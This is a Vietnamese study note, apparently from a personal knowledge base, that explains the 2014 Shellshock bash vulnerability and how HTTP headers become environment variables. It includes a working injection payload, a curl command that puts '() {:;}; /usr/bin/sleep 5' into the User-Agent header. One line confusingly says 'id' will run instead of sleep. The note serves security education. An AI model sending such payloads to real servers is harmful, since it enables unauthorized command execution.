What is Shellshock Vulnerability?
Tồn tại trong bash shell (một command language interpreter) cho phép attacker thực thi lệnh tùy ý thông qua một biến môi trường.
History of Shellshock Vulnerability
Được phát hiện năm 2014 và các phiên bản của bash shell từ 1.0.3 đến 4.3 đều bị ảnh hưởng.
How Can Shellshock Vulnerability Be Exploited?
Lỗ hổng shellshock xảy ra khi một biến môi trường nào đó được truyền vào bash shell và có một sub-shell (là bash shell trong bash shell khác) được tạo ra.
Trong bash shell, shell variable không được kế thừa bởi sub-shell:
$ t="hi there"
$ echo $t
hi there
$ bash
$ echo $t
$ exitTuy nhiên, nếu dùng lệnh export thì sub-shell sẽ kế thừa biến:
$ echo $t
hi there
$ export t
$ bash
$ echo $t
hi there
$ exitLệnh export sẽ biến t trở thành một biến môi trường.
Đối với hàm cũng tương tự:
$ fn() { echo "test"; }
$ fn
test
$ bash
$ fn
fn: command not found
$ exit
$ export -f fn
$ bash
$ fn
test
$ exitOption -f cho biết ta muốn export hàm.
Hàm cũng có thể được định nghĩa thông qua toán tử gán bằng như sau:
$ fn='() { echo "test" ; }'Important
Khi một sub-shell kế thừa biến
fnđược định nghĩa như trên, nó sẽ xem đây là một định nghĩa hàm và có thể thực thi các câu lệnh phía sau định nghĩa hàm.
Payload mà kẻ tấn công sử dụng sẽ bao gồm chuỗi () { :; }; và một câu lệnh tùy ý nào đó ở đằng sau. Ví dụ:
() { :;}; /usr/bin/sleep 5Ký tự : tương tứng với giá trị true:
$ if true; then echo yes; fi
yes
$ if :; then echo yes; fi
yesXét request sau:
GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Host: cloudflare.comCác web server thường lưu giá trị của các header vào các biến môi trường để xử lý trong code. Ví dụ:
export HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
export HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6
export HTTP_CACHE_CONTROL=no-cache
export HTTP_PRAGMA=no-cache
export HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
export HTTP_HOST=cloudflare.comAttacker có thể truyền payload vào header User-Agent như sau:
curl -H "User-Agent: () {:;}; /usr/bin/sleep 5" http://example.com/Request có dạng như sau:
GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: () {:;}; /usr/bin/sleep 5
Host: cloudflare.comKhi đó, biến môi trường HTTP_USER_AGENT trở thành:
export HTTP_USER_AGENT=() {:;}; /usr/bin/sleep 5Nếu sau đó có một sub-shell được tạo ra thì câu lệnh id sẽ được thực thi.
Important
Việc sub-shell được tạo ra là điều kiện cần của lỗ hổng.
Related
list
from outgoing([[Shellshock]])
sort file.ctime asc